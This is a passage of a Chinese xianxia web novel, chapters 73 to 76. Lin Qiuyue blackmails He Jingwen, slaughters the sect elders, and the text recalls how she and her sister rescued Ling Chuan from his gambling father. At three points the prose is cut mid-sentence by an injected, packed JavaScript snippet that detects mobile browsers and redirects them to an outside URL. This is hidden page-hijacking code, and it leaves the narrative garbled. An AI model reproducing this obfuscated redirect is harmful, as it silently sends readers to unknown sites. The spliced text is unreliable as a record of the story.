密室中两人相对而立,贺景文对上林秋月的目光,半晌,他紧了紧掌心的灵力,低沉道:“如果我说不呢?你就不怕我杀了你?只有死人才能保守秘密,杀了你,万雷剑法照样是我的。” 闻言,林秋月也不恼,她把玩着那枚门主令,也不着急,慢条斯理地笑道,“贺少主,你没有拒绝的权利。当然,你也可以试试杀了我,我可以跟你保证,只要你杀了我,那么你挑起飞羽门内斗,杀了我姐姐的事就会立刻人尽皆知,整个云雾宗都别想再有出头之日。” 贺景文紧锁着眉头,脸上的神情也染上了几分凉意,他磨着牙根冷声道,“你威胁我?!” “嗯,这不是显而易见的事情嘛?”林秋月眨眨眼,颇为无奈道,“本来我也不想威胁你,可是你不听话,所以我也没办法呀,如果你不让我活,那就大家一起死好咯。” 贺景文冷哼一声,收回了手中聚集的灵力,半晌,露出了一个嘲讽的笑容,“如果我没有记错的话,若是没有林听晚,林姑娘你是没办法在飞羽门中存活下来的吧?她在死前最后一刻,还将飞羽门交给了你,结果你转头就将她卖了,她若泉下有知,不知会不会心寒后悔?” 林秋月叹了一口气,又用那种无奈地语气继续道,“我不是都说了嘛,这都是没办法呀,我出生在飞羽门本来就是个错误,姐姐她若还在,便能护我一辈子,我也用不着做这样的事了,可她这不是死在你手上了吗?她一死,我失去了庇护,这飞羽门门主令和万雷剑法对我来说又没有用,我只想活下来,姐姐若是真的能知道,她也会开心,她能再保护我一回。” 贺景文看着她,沉默不语。他不知道面前的人说的这番话中有几分真,几分假。他不能走错,一步走错了,那便是万丈深渊,他背负着的是整个云雾宗的未来,他没有回头路。 见他还在犹豫,林秋月丝毫不惧,她甩手一抛,将手中的那卷万雷剑法径直地抛向了他。贺景文伸手接住,在林秋月的示意中将它翻开,只一眼,他心中便震惊至极,这是万雷剑法真迹无疑! “贺少主,我的诚意已经给你了,你若还是怀疑,那我也没办法了。” 贺景文从震惊中回过神来,看着面前神情自若的少女,他愣愣道,“你到底为什么……” “不为什么,我阿娘是被我阿爹强虏回来的,飞羽门的生死存亡于我而言什么都不是,它若是毁灭了,我倒还要谢谢你。”林秋月笑道,“说真的,贺少主,你与我那三个废物哥哥结盟,不如与我结盟,飞羽门本就内斗不休,到时候在天下人眼中,是我为了坐稳飞羽门门主之位,亲手杀了我的哥哥姐姐,一切都是飞羽门内部的事情,他们就算再怎么说,也只能说。而若是这一切换一种说法,是你云雾宗为了平步青云,拿飞羽门做踏脚石,盗窃飞羽门剑术,那结果肯定会不一样。” “而且我是女子,若是由我坐稳飞羽门门主之位,再将飞羽门内部那些异己通通铲除掉,等一个合适时机,飞羽门与云雾宗联姻,我嫁给你。到时候,不止是万雷剑法,就连飞羽门都会掌握在你手中,”林秋月慢慢地走到了贺景文面前,她灿笑着,眼中尽是蛊惑之意,“贺少主,你不觉得这笔交易对你而言,划算得很吗?” 贺景文也看着她,他已经冷静下来了,沉吟片刻,皱眉道,“你可真是个疯子……” 面对他的评价,林秋月安然受之,“多谢夸奖,贺少主,那就合作愉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林秋月顿了顿,又缓缓起身,没有人回答她,她却像是自问自答般,点点头,慢条斯理道,“嗯,也是,若不是你们,贺景文不会得逞,是你们的蠢笨害死了姐姐。所以……请你们死吧。” “铮”的一声,剑光闪过,鲜血在她眼前飞溅数尺,那三人还未曾反应过来,便已双目圆睁,满脸惊愕地倒在了血泊之中。林秋月平静地收回了剑,看着剑尖上腥臭的鲜血,她嫌弃地皱了皱眉头,将剑在面前的尸体上擦了两把,才掀起眼帘,目光看向面前黑压压跪倒的一众身影。 他们中有匍匐在地抖如筛糠的,亦有梗着脖子怒目而视的。苍白色的阳光照耀着一片血红,林秋月看向那些怒瞪着她的长老们,目光移动,半晌,微笑着问道,“你们可愿臣服于我?” “呸,”长老们啐道,“不可能,我们只追随于林逸兴老门主。” 林逸兴老门主?守旧派,也是飞羽门势力中的另一派,因为月影杀了林逸兴的缘故,所以对林秋月一直恨之入骨,林听晚作为新任掌门,不仅不随民心杀了林秋月为父报仇,相反还处处保护她,这件事在他们心中一直耿耿于怀,因此林听晚继位后,他们也并不认同她,还处处刁难于她。 这次的飞羽门内斗事件中,他们明知道林听晚正处于虚弱关键时刻,却仍然选择充耳不闻,若只是充耳不闻便也罢了,甚至还在这其中使绊子,所以,致使林听晚死亡,他们也占据了这其中的一部分原因。 林秋月挑了挑眉,了然地点点头,声音甜腻腻地,赞许道,“追随我阿爹呀?如此赤胆忠心,我听着都感动得快要落泪了,”她顿了顿,又有些遗憾地叹了口气,“只可惜我阿爹早已作古。” 故作苦恼地想了一想,林秋月突然欣喜地“嗳”了一声,看着他们笑道,“这样吧,我忽然想起来我这辈子好像还从来没为我阿爹做过什么呢,既然你们这么忠心于我阿爹,不如,我送你们下去见他吧?我爹要是看见昔日忠诚的好友出现在他眼前,应该会很开心吧?如此你们也能继续追随我阿爹了,也算是圆了你们的一桩心愿。” 台下跪着的长老们一怔,他们根本没想过林秋月竟然敢杀了他们,他们是飞羽门的元老,这么多年来,就算是林听晚与他们不对付,面上也得恭恭敬敬地朝他们行礼。可林秋月这个疯子,她怎么敢?!她怎么敢?! 他们愣愣地看着面前笑面如花的女子,声音从一开始的喃喃逐渐变得歇斯底里,他们在怒喝着,在扭曲着,在狂叫着:“疯子!!你这个疯子!!你怎么敢?!你就不怕遭天谴吗?!” 林秋月漠然转身,她冷冷地看着手中的长剑,半晌,微微侧首,淡淡道,“全都杀了罢,一个不留。” 四周站着的心腹弟子面无表情地颔首:“是,门主。” 剑光四起,鲜血四溅,哭声与咒骂声相互交织。林秋月背对着他们,她闭着眼,嘴角还带着淡淡的浅笑,阴冷的凉风吹过她的脸庞,长发也在风中被吹得纷乱。 74.一执一念 看到这里,幻境外的众人神色更为复杂了。他们看着血镜中那血腥的场景,看着林秋月的那张微笑着的面庞与他们面前的这张重合,心中除了一开始对云雾宗众人的鄙夷外,更多了几分对林秋月说不清道不明的悚然。 不少人悄悄地朝着阵法中央的林秋月望去,而林秋月就站在原地,见他们朝她望过来,依旧是回之微微一笑。 在没有看见这个场景之前,若是她对他们这么微笑,众人只会觉得如沐春风。可亲眼见证了她是如何一边笑着再一边将与自己作对的人全部杀戮殆尽后,再来看这个笑就完全不一样了。 虽然他们不说,但是脸上的神情无一不写着,林秋月,是个疯子。 四周一时陷入寂静,没有人说话,无数道目光在空中交汇着。这些变化作为当事人,当然是感觉得到的,林秋月知道他们心中会怎样想她,无非就是血腥残暴,心理扭曲,是一个不折不扣的疯子,这些她都已习惯了,他们怎样想与她又有什么关系?她开心高兴了就好。 所有人里,只有一个人,看向她的眼神是不一样的。 凌川站在人群里,看着那些目光一一投射在了林秋月身上,他皱了皱眉头,回过身去,朝着法阵中央的姑娘看去。看向她的那一刻,他像是卸下了那层冷若冰霜的表面,他黑色的眼睛中,有心疼、有隐忍、有愤怒。而比起他来,林秋月站在那里,显得要平淡地很多。 林秋月将目光落在了凌川身上,看着他眼中的复杂神情,怔了怔,轻轻地笑了笑,摇了摇头。 凌川一愣,所有的情绪在她这一笑中渐渐趋于平静,他握紧的拳头又无力地松开,他舒展着眉头,垂眸看着面前的姑娘。两人隔着人群相望,隔着那阵法相望,隔着一道看不见的结界相望。她站在黑暗里,将光明留给了他,可是她不知,他并不想站在这光明里,他想站在她身边,无论是人间还是地狱,他只想站在她身边。 金色光华中,林秋月淡淡地笑着,在别人眼中那么危险那么疯狂的笑,在凌川眼中却是那么地美好,那么地耀眼。他看着林秋月的笑,恍惚间,记忆穿过悠长的岁月,他看见了第一次见到她时的场景—— 那时候的凌川还没有拜林听晚为师,也没有进入飞羽门,他只是一个平凡到不能再平凡的孩子。父亲嗜赌如命,还酷爱喝酒,每次输了钱便喝酒买醉,在别人面前唯唯诺诺,在家人却面前颐指气使。日子一长,家里的银钱便被他败光了,还欠下一屁股的外债,母亲忍受不了这种日子,一气之下就离家出走再也没回来过了。 母亲走了,家里的生计更加维持不下去了,父亲的赌瘾酒瘾却一天比一天大,年幼的凌川不得不出去做些细碎零工来维持生计。凌川心中虽然已经受够这种日子了,但是习惯是一件很可怕的事情,他想反抗,想说不,想拒绝,可遭到的只会是父亲的一顿毒打,他也想过和母亲一样,直接一走了之,但是每每看着那男人像一滩烂泥一般倒在街头,若是没有人将他捡回去,他会死吧? 那点血缘关系就像一把长剑,将他生出的每一个将父亲抛下的念头都生生地扼杀在了摇篮里。 这样的日子照常地过着,直到那一天,凌川照常按照父亲的要求去酒肆为他买酒。尽管心中有再多的不愿与怨怼,但他还是与平常一样,从米缸下面的泥土中挖出了他私藏的几文钱,去酒肆中为他打了一壶浊酒。 可当凌川捧着那壶浊酒回到家中时,却被眼前的场景惊得一愣。他推开门,院中三三两两地站着一群粗布衣裳的男人,在他们中间,还站着一个身着金丝锦衣的男人,那男人生得油头肥耳,十只手指头上都戴着一个金光灿灿的戒指,端得是十分的雍容华贵做派。而他父亲,正鼻青脸肿地躺在地上,嘴中还不住地喊着,“饶命啊。” 那男人听着他口中的叫唤,更是怒火中烧,他蹲下身来,揪起他的头发,迫使他抬起脸来看着他,喝道,“饶命?你的命值几个钱?我告诉你,你再不还钱,我让你生不如死!” “饶命,饶命,我还,我一定还,”他父亲继续露出了那副如痴如狂让人又恶心又可怜的讨好的神情,“我去算过气运了,我今日手气好,今晚我一定会赢的,等我赢了,我一定连本带利的全部还给你们,你们信我,信我!” 闻言,那男人的耐心似是到达了极限,他一把将人丢下,站起身来,目光移动。身旁站着的打手见状微微颔首,然后上前,朝着地上躺着的人走去,一拳一脚,拳脚到肉,打得他不住地哀叫起来。 “别打了……我会还钱的……你们信我……信我……” 那男人皱了皱眉,举起两指挥了挥,示意不要停,继续打。虽然他父亲再不堪,再怎么不像个父亲,但毕竟血浓于水,看着他这副模样,凌川到底还是不能忍,他将那壶浊酒放下,便朝着人群冲去。 “你们放开我爹,不要打他,不要打了!!”凌川冲进人群里,拼命推搡着那些朝着他爹身上招呼的拳头,可毕竟年幼,又怎么挡得住成年人的攻击,于是挡着挡着,便成了一起被揍的那个。 如雨点般的拳头落在凌川的脸上,身上,很快,他的脸上便见了血,但他还是执拗地护在他那嗜赌成性的父亲面前,紧紧地趴在他身上,嘴中还不住地重复着,“不要打他……” 一旁站着的男人挥了挥手,身旁的打手自动散去,围在了他身后。人群一散去,他爹便立即推开了他,朝着面前的男人不断磕头,直流眼泪,“黄老板,你行行好,再宽限我一日吧,我今日一定会赢的,我一定会赢的!!” 凌川被他推倒在地,不可置信地看向了他父亲,那个男人此时满眼猩红,整个人如同魔怔了一般,除了那赌,再无其他。他怔怔地,瞳孔瞬间猛缩,他猛扑上去,一把揪住他爹的领子,将他提了起来,怒喝道,“爹!你清醒点,不要再赌了,不能再赌了!!” “你滚开!你在说什么鬼话,影响老子气运,如果我今天的气运要是就这样被你影响了,我回来就弄死你!”他爹也怒吼着,将他一把推开,满脸戾气,六亲不认。 父子俩争执了半晌,立在一旁被叫做黄老板的男人看着面前的这副场景,黑黝黝的眼珠子一转计上心来,他抚掌笑道,“好一个孝子啊,此等孝心别说是我了,老天见了都要不忍了,”他顿了一顿,慢慢走到了父子俩面前,声音阴沉,既是慈悲又是残忍,“要不这样吧,你把你儿子给我,我们不仅之前的债务一笔勾销,另外,我会再给你黄金十两,你看你是答应还是不答应?” 凌川脑中嗡嗡地,他有些震惊,没反应过来他听见了什么。但他的父亲听见这话,却立刻眼冒精光,丝毫不犹豫地便抓住了他往那男人面前一送,欣喜若狂不住地叫道,“答应,我答应!” 黄老板咧嘴一笑,似乎是一早便已料到的事情,他问道,“他可是你儿子?你不后悔?” 凌川怔怔地望向他父亲,可是,他父亲却丝毫没有往他这里看一眼,仍是不停地朝着那男人磕头、谢恩,“不后悔,不后悔,我答应,我答应,只要能一笔勾销我的债务,让我做什么都可以!” “爹……”凌川闭上眼,喃喃着。血液在这一刻如霜般寒冷,一颗心在不停地坠落、坠落…… “啧,真是个傻子,当爹的丧心病狂至此,还守在这里做什么,不走留着他把你卖了吗?”忽然,一道脆生生的声音从一旁传来,声音懒洋洋地,含着笑意,也含着嘲讽。 众人闻声抬头,凌川也在这时仰起脸去,一抬头,就对上了一双狡黠漂亮的眼睛——这便是他第一次见到林秋月时的场景了。 那时候的林秋月不过也就十来岁,但因为从小生活的环境使然,性子上自然也有些和普通孩子不同。她极端,扭曲,除了林听晚外,她不在意任何人。但是那天,她也不知为何,看着那个都快要被爹卖了却还傻愣愣地站在原地的呆子,她忽然就来了兴致。 林秋月坐在树枝上,懒洋洋地靠着树干,见凌川望着她,她轻笑一声,似是好奇,“喂,问你话呢?小呆子,你爹都要卖了你了,你为什么不跑呀?” 那一刻,凌川坐在地上,就如她说的那样,像个呆子般望着她。时隔多年,他依旧清清楚楚地记得那天的阳光很好,一身蓝衣的少女坐在树上,微风吹起了她的发梢,她眉眼弯弯,嘴角扬起一缕淡淡的笑,带着懒散与漫不经心,却又那么狡黠,那么教人挪不开眼。 凌川怔怔地瞧了她一会儿,才老实地回答道,“因为他是我爹,我不能丢下他。” 闻言,林秋月却像是听到了什么笑话似的,她笑了好一会儿,才总结道,“果真是个呆子。”话音一落,她轻轻巧巧一跳,便从高高的树干上落到了他的面前。 一旁围着的打手一惊,立即起势,将那男人护在中间。黄老板扬了扬手,示意他们拉开,“一个小丫头而已,你们这么紧张做什么?起开!”说罢,他又转头看着面前的女孩,将她上下打量了一番,笑道,“小丫头,这个人欠了我们很多钱,你这种时候插手进来,你可想清楚后果了?” “他欠你多少钱?”林秋月忽然问道,她没有看向那人,目光依旧在凌川身上。黄老板一怔,好半晌,才回过神来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222955|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他嗤笑道,“方才你也听见了,他已经将他儿子抵给我了,我现在,只要他。”他说着,伸手指向一旁的凌川。 “这可不行,这小呆子我看上了,我就不能让给你。”林秋月说着,转头朝他淡淡一笑,“而我这个人吧,有个毛病,凡是我看上的,我就必须要得到手,不然我就全身难受,我脾气不大好,一难受吧,我就想揍人,”她看了看四周,似是无奈地叹了口气,“所以,趁你现在还能好好站在这里跟我说话,最好就识趣些,拿着钱快些滚罢。” 此话一出,四周站着的男人面面相觑,黄老板更是瞬间暴怒,他喝道,“狂妄!!不知天高地厚的小丫头片子,今日不给你点教训你是不知道错,你们,给我上!” 凌川看着扑上来的男人,心中大骇,连忙爬了起来,挡在了林秋月面前,焦急道,“姑娘,你快走,快走!!”林秋月看着挡在她面前的瘦弱身躯,怔了须臾,倏尔嗤道,“呆子。” 话音方落,她一把攀住他的肩膀,将他往身后一带。凌川还未来得及回过神来,面前的姑娘已如一道闪电般掠了出去,一瞬之间,那些来势汹汹的打手倒地不起,滚地呻吟。而林秋月正站在人群中央,一脚踏在那油头肥耳的黄老板背上,她踹了踹他,又在他面前蹲下,她眨眨眼,带着她那懒洋洋人畜无害的笑,轻快道:“怎么了?大叔,你方才说什么?我没听清,你能再说一遍吗?” 那人此时哪里还敢再多说什么,他哆嗦着,不住摇着头,“错了,我错了,小姑奶奶,是我们不知天高地厚,你不是要那小子吗?拿去拿去,我们不要了,什么都不要了,放过我们吧……” “这可不行,”林秋月摇摇头,认真道,“欠债还钱,天经地义,你若是什么都不要,那不就成了是我欺负你?姐姐说过,不能随便欺负人,你这样,是在害我。” 黄老板双目睁大,简直欲哭无泪,“那你到底想怎样?你说,只要我能办到的,我都答应。” “我一开始不就问过你了吗?他欠你多少钱?”林秋月指了指凌川身旁的那个男人,“可是你们不听呀?那我没办法了,而且是你们先动手的不是?” 黄老板一怔,这次是真的好半晌都回不过神来。林秋月缓缓起身,将腰间系着的钱袋解下,随手扔在了他脸边,淡淡道,“好了,趁着我现在心情还好,快拿着钱滚吧。” 凌川愣在原地,看着那群人相互搀扶着起身,然后相继离去。 阳光倾泄,树荫绰绰。她在阳光里,他在阴影里,相对而望。 两人对望了良久,凌川才回过神来,小声地道着谢,“谢谢,那些钱两,就当是我先借了姑娘的,日后定当偿还,若是姑娘有什么用得上我的地方,我也当……结草衔环,誓死不忘。” 闻言,林秋月却不语,良久,才笑了,转身离去。 那时候的凌川,望着林秋月离去的身影,心中惴惴,她没有留下任何话语,也许对她来说,随手救下他,那只不过是一件普通到不能再普通的事情了。 可对于凌川来说,那天她的笑容,她的身影,却是他一辈子都不能忘却的。 凌川本以为在那之后他不会再见到她,但后来,他又遇她。他第二次见到她,已经是三年之后的事情了,同样的落魄场景,她犹如天神般降临,见证了他所有的不堪,然后拯救了他。 那一年,他爹因为赌性成瘾,终于自食恶果。在某一天的晚上,从赌场出来后被人围堵着狠狠地揍了一顿,事后心情郁结,跑去酒肆里大喝了一通,在回家途中却不慎失足落水,等别人发现之时,早已化成了一具尸体,漂浮在河水之上。 人死了,欠下的赌债却还在,那些人不甘心自己的钱便这样打了水漂,随着人死一笔勾销。正所谓父债子偿,就算凌川此时并无能力偿还他们的钱,可是心情烦闷的时候围起来打一顿出出气也不失为一种很好的发泄方式,反正他孑然一身,谁又会为他出头呢。 于是这一天的午后,凌川刚下完工,从工头手上结了一些细碎零钱,他小心翼翼地将那钱分为了三份。一份攒着用来还父亲欠下的债务,一份攒着用来还给那姑娘,至于另一个小小的铜板,他摸了摸咕咕叫的肚子,想了想,要不去买个包子吧,又想了想,不,算了,还是买馒头吧,一个包子可以买两个馒头了。 他一边这么想着,一边将钱仔细地收入锦囊中,然后朝着不远处的包子铺走去。然而,他才刚走出去没多远,一行人却突然出现在了他的面前,凌川僵了一瞬,还未等他反应过来,那群人便同往常一般,将他拖拽着进了一条小巷。 75.光明黑暗 凌川被一把踹到墙上,后背剐蹭着粗糙的墙体,火辣辣的疼。一口气还没缓过劲来,拳头也如雨点般落下,他不知道自己被打了多久,一开始他还会觉得疼,觉得受不了,觉得命运不公,为什么要让他来遭遇这些,为什么,可挣扎过后,却也只剩下无力,因为父债子偿,血浓于水。 等到他们发泄完毕,已经是多时之后了,为首的男子慢慢走了过去,用脚尖踹了踹倒在地上的凌川,“小兔崽子别装死,今日的钱该还了,钱呢?” 凌川眼冒金星,喉间弥漫着一股强烈的血腥味,剧烈地咳嗽了一阵,他才颤抖着爬起身来,缓缓地伸手,从腰间摸出那一份银钱,还没递给他,那人却眼疾手快,又一脚踹翻了他,将他腰间的另一个布囊薅下。 凌川只懵了一瞬,便着急地要上前去夺他手中的布囊,可那时的他又瘦又弱,一介瘦弱少年又怎么抢得过身强体壮的男人,最终的结果无疑于以卵击石,换来的,只会是另一顿更狠的毒打。 “还……还给我……这是要还给别人的……不能……不能给你们。”凌川被压制在地上,只能朝着那人不住地爬过去。那人被他这副模样勾起了一丝玩味,他将那荷包随手一抛,抛进了另一个人怀中,满怀恶意地笑道,“还给你?可以啊,你能拿到我们就还给你。” 就像猫儿逗鼠一般,那小小的荷包在空中被不断地抛过来抛过去,明明是很近的距离,却距离他那么远。就像他的人生,每次他都告诉自己,没事的,忍忍就过去了,黑暗只是暂时的,只要熬过这段时间就会好了,可是上天就像是在跟他开玩笑,黑暗后面等待着他的永远是更黑暗。 这样的日子就像是永远看不到尽头一般,太累了,他真的累了。 “小呆子。”就在他快要到达忍耐的极限点时,一声熟悉的声调传来,依旧是那样懒洋洋漫不经心的语气。他抬起眼望去,在小巷尽头,依旧是那个熟悉蓝色身影,在她身边,还站着一个与她相差了些年岁的紫衣姑娘。 那紫衣姑娘自然就是林听晚了,她站在林秋月身旁,看着面前的场景,怔了怔,轻声问身旁的妹妹,“秋月,这是你朋友?”她有些惊讶,她的这位妹妹算是她带大的,因为各种因素,从小性子就有些孤僻,她也想过让她交些朋友,可她却只愿呆在她的身边,久而久之,这些想法也就不了了之。可此时,她第一次看见了她主动与人搭话,这个变化对她来说,是值得震惊的。 林秋月看着姐姐眼中那丝欣喜与不可置信,她无奈道,“也不算朋友,就是觉得他挺呆,还挺有趣的,好了,姐姐,你先别问了,他都快死了,帮帮我吧。” “好,先不问,不问。”林听晚回过头来,上前去与那些人交涉。飞羽门作为修仙界中有名的门派,就算这些人不修仙,林听晚的名号也是听过的,见她要保这人,那群人先是一怔,然后猛地回过神来,讪笑着将那只旧荷包给了她。 林听晚接过荷包,看了眼地上躺着的凌川,又将目光移到了他们身上,道,“这孩子欠你们多少银两,今日我一并替他还了,以后他是我飞羽门的人,你们莫要再欺辱他了。” “是是是,我们知道了,知道了,以后不会了。” “既如此,就走吧。”林听晚叹息着,从腰间解下钱袋递给那为首的男子。 这事儿也算是了结了,林听晚走到凌川身边,他靠着墙垣坐着,满脸伤痕,让人心生怜悯。她将荷包放在他手中,轻声道,“给你。” 凌川惴惴地接过,抬眼看了看林秋月,又抬眼看了看林听晚,这才小声道,“谢谢……” 林秋月在他面前蹲下,皱着眉头将他上上下下看了一番,才托着下巴,露出了她那熟悉的笑容。她轻轻地笑了下,凌川被她笑得有些发懵,他眨眨眼,却听见她道,“小呆子,怎么一段时间不见,再看到你时怎么还是把自己弄得这么惨呀?” 明明算不上多好听的话,甚至其中还有些嘲讽的意味在。可那一刻,看着她的笑,看着她的眼睛,凌川突然就有些想哭,他也不知道为什么,明明他与她,也不过才见过两次。那种说不清道不明的情绪涌上心头,夹杂着这些日子受过的所有委屈,他终于忍不住了,眼眶湿红。 林秋月显然没料到凌川会在她面前落泪,一向从容漫不经心的脸上也闪过了一丝措手不及的慌张,她收回手,怔了片刻,不可思议地又盯着他看了两眼,才像被吓到般似地,忙道,“喂,你不至于吧?我不就说你两句,也没骂你,你哭什么?你可是个男孩子,不许哭。” 闻言,凌川也像是被吓到了一般,一顿,他连忙伸手擦着眼泪,一边努力地止住哭,一边眼泪却不听话地往下掉。那模样,又有些滑稽,又有些可怜,还有些可爱。 一旁的林听晚看着,扶额苦笑道:“好了,秋月,不要欺负他了。” “我哪有欺负他,姐姐你不要乱说。”林秋月呲牙咧嘴地看向林听晚,朝她不满地努努嘴巴。只有在林听晚面前,她才会像个小孩一样,将自己的各种情绪展露出来。 林听晚笑着摸摸她的头,又看了看地上坐着的凌川,柔声问道,“你叫什么名字?” “凌川。”凌川小声地回答道。 “凌川…… ”林听晚若有所思地点点头,半晌,又抬起头来,笑道,“与我们算是有缘,我叫林听晚,这是我妹妹林秋月,如果你愿意的话,跟我们走吧。” 这话一出,林秋月与凌川皆是一愣。林秋月道,“姐姐,你在说什么?” “怎么?”林听晚看向她,好笑似的,“方才不是你拉着我让我帮帮你的吗?我还以为你想让他跟我们回去呢,如果你不想的话……” “姐姐,好了,不要用激将法了,这一招对我没有用了。”林秋月打断了她,两姐妹又笑闹了几句,林秋月才将目光挪到了凌川脸上,眉头拧起,扬扬下巴道,“喂,呆子,你跟不跟我们走?” 凌川张了张嘴,他不知道该说什么。见他不说话,林秋月心中恼了,其实她是希望凌川跟她们走的,可能是第一次见面时,见他那副老老实实的模样,明明都快要被卖了却还要说着因为他是我爹,我不能丢下他的这种让人发笑的话,让她觉得世上怎么有这么蠢的人呢,她不信。 直到这次又遇见他,看着他被人如此欺负着,却还是那副呆呆傻傻的模样。那旧荷包中能有什么宝贝东西,无非就是几块银钱罢了,能有他的命重要?能让他如此不要命地也要夺回来。 这样的傻子,呆子,蠢货,再在外面呆个几年,就会把自己的小命玩没吧? 林秋月想了想,又将他上下看了两眼,看着他身上大大小小的伤,她啧啧啧地直摇头。好了,已经不需要用不确定的语气了,她现在敢肯定,再放他在外面独自溜两年,他绝对会把自己的小命都玩完去。 等了好一会儿了,还没听见凌川答话,林秋月顿了顿,她伸脚碰了碰凌川的脚,皱着眉头不耐道,“喂,跟你说话呢?你怎么回事?怎么还哑巴了?要不要跟我回去?” 凌川一惊,望着她,才刚张开嘴说出一个字:“我……” 却蓦地被林秋月打断,“算了,磨磨唧唧,你不愿意也得愿意,你可是我当初花钱买下来的,必须跟我回去。” 凌川到底还是跟着林秋月回了飞羽门,他也不知道他是怀着怎样的心情跟着她们回去的。因为是跟着林听晚回来的,他的身份既不算门中弟子,又不算是客人,为了给掌门面子,飞羽门中众人对他也算是客客气气的。 不用练功,又没有给他安排活干,这样呆着他心中终究是过意不去。虽然林秋月林听晚并没有说过要让他偿还银钱,但他过不去自己心中的那关,于是白日里,他除了给门派中众人打杂帮忙外,其余时间,还是会出门去找些零工做,然后将赚来的钱继续攒在他那个旧荷包中。 那一天,他依旧是下工回来,刚走进飞羽门大门,却被人拦下。林秋月坐在廊庑下,靠着廊柱,抬眼懒洋洋地看向他,“你去哪里了?怎么天天往外面跑?” “我去找了些活干,”凌川挠了挠头,老实地答道,“附近有家老爷近日修建新宅,找人帮忙搬运木材泥石之类的,可以做一个多月,”他顿了顿,又笑道,“报酬还挺高的。” 闻言,林秋月一愣,她看着凌川衣服上的泥土与灰尘,沉默良久,然后面无表情地开口了,“凌川……” “嗯?怎么了?”凌川笑着看向她,问道。 “你在这里是有人欺负你吗?” 凌川一头雾水,但还是摆了摆手,老实答道,“没有没有,大家都对我挺好的,没有人欺负我。” “那就是你在这里吃不饱穿不暖?钱不够用?” 凌川不知道她为什么要这么问,心中更加惴惴,头摇得跟个拨浪鼓似的,“也没有,够了够了。” 林秋月就更加奇怪了,她道,“既然没人欺负你,吃得饱穿得暖,钱也够花了,为什么还要出去找活干?” “因为我还欠着门主与姑娘的钱,不管怎样,总是要还的。” “……”林秋月简直要被他气笑了,她生平第一次,竟不知道怎么回人话。两人就这样怔怔地对看了一会儿,林秋月突然朝着他伸手,轻笑道,“那你攒了多少了,拿出来给我瞧瞧?” “也没有多少,”凌川一边说着,一边伸手在袖子中摸索了一会儿,将那个旧荷包摸了出来,放在了林秋月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来,凌川便算是在飞羽门稳定地留下了,林听晚见他天赋不错,于是就将他收进了门内,先做了个外门弟子与其他门派弟子一起修行。那时飞羽门的关系错综复杂,门内势力分了好几派,他是林秋月与林听晚直接带回来的,于是在另几派弟子眼中,自然就看他不顺眼。 在这样的存心刁难下,凌川也算是慢慢知道了一些飞羽门内部的事情,其中,就包括了林秋月的身世。 凌川不知道他在知道了这些事情之后的心情是怎样的,他只知道,在看着那些人嘴角挂着的那讥诮的笑的那一瞬间,所有的理智瞬间被吞噬,等他回过神来之时,拳头已经上了他们的脸了。 那是他第一次打人,不计后果,拳头一拳一拳地砸下,脑中只有一个念头,让他闭嘴。 那天晚上,林秋月端着伤药来弟子房中看他,看着他嘴角的伤,先是一怔,然后才走到他身边坐下,将药搁在床上的矮桌上,笑道,“姐姐跟我说,你把人揍了,我还不相信,你这个呆子,也会打人?” 凌川皱着脸,脸上似乎还有怒气,“因为他们说你,你明明不是那样的,我不想让他们说你。” “随他们说去吧,他们就是看不惯我又干不掉我,所以只能那样发泄发泄自己心中的不满,”林秋月毫不在意地说着,然后伸手打开了面前的伤药罐子,用竹片沾了些药膏,“好了,脸转过来。” 凌川还在生着闷气,没注意到林秋月的动作,只知道她在叫自己,于是便也直接将脸送了过去,直到那竹片沾着的凉意透过皮肤传到了心底,他才猛然回过神来,急忙将脸挪开,又伸手去接那个竹片,“我自己来吧。” 看着他肉眼可见红了的脸颊,林秋月却忽然玩心大发,她一手将那竹片拿远了,又伸手将凌川的脸一把捏了过来,皱着眉头佯怒道:“不要动。” 凌川见她认真严肃的神情,生怕她不高兴,虽然他是真的很不好意思,但也确实是不敢动了。他由她抬着他的下巴,仔仔细细地替他上着膏药,这期间他看着那张与他近在咫尺的脸,莫名地生出了几分不由自主的心慌意乱来。 林秋月为他上着药,本来只是玩笑似地为了逗逗他,可当他脸上那些青红交加的伤疤真正呈现在她眼前之时,她心中却无论如何都笑不出来。她默默地替他上完了药,然后对上那双惴惴的眼睛,她叹息道,“下次不要再和他们打架了。” “不行。” 林秋月一怔,她简直不敢相信自己的耳朵,这呆子从来都不会对她说不。可这回,竟然当着她的面毫不犹豫地便说出了不行?她顿了顿,才失笑道,“为什么?” “因为我不能让任何人说你的不好,只要他们还敢再说你一回,我就敢再打他们一回。” 76.山雨欲来 房间安静,两人都没有再说话,也没有再动,就这么默默地看着对方。烛火摇晃,林秋月看着对方认真执着的神情,忽然就不知道这一刻到底是风动还是心动了。 她眨了眨眼睛,几不可闻地整理好了自己躁乱的情绪,然后又像往常一般漫不经心地轻笑了一声,伸手将凌川的脸推开,故作轻松道,“算了,打了就打了吧。”顿了顿,又唤他,“凌川。” “嗯?”凌川闻声抬头,又将脸转了回来,一双眼睛亮晶晶地看着她。 林秋月也看向他,目光温和,见他这副如小狗儿般的神态,心中一软,就没忍住,等她回过神来之时,她的指尖已经停滞在他的头顶上方了,只差一点,就能碰到。 凌川见她停滞的指尖,又见她脸上那丝不自然的神情,他从来不会让她陷入尴尬的局面,于是他凝望着林秋月的脸,微微抬头,很自然地便将自己的头送进了林秋月的掌心。 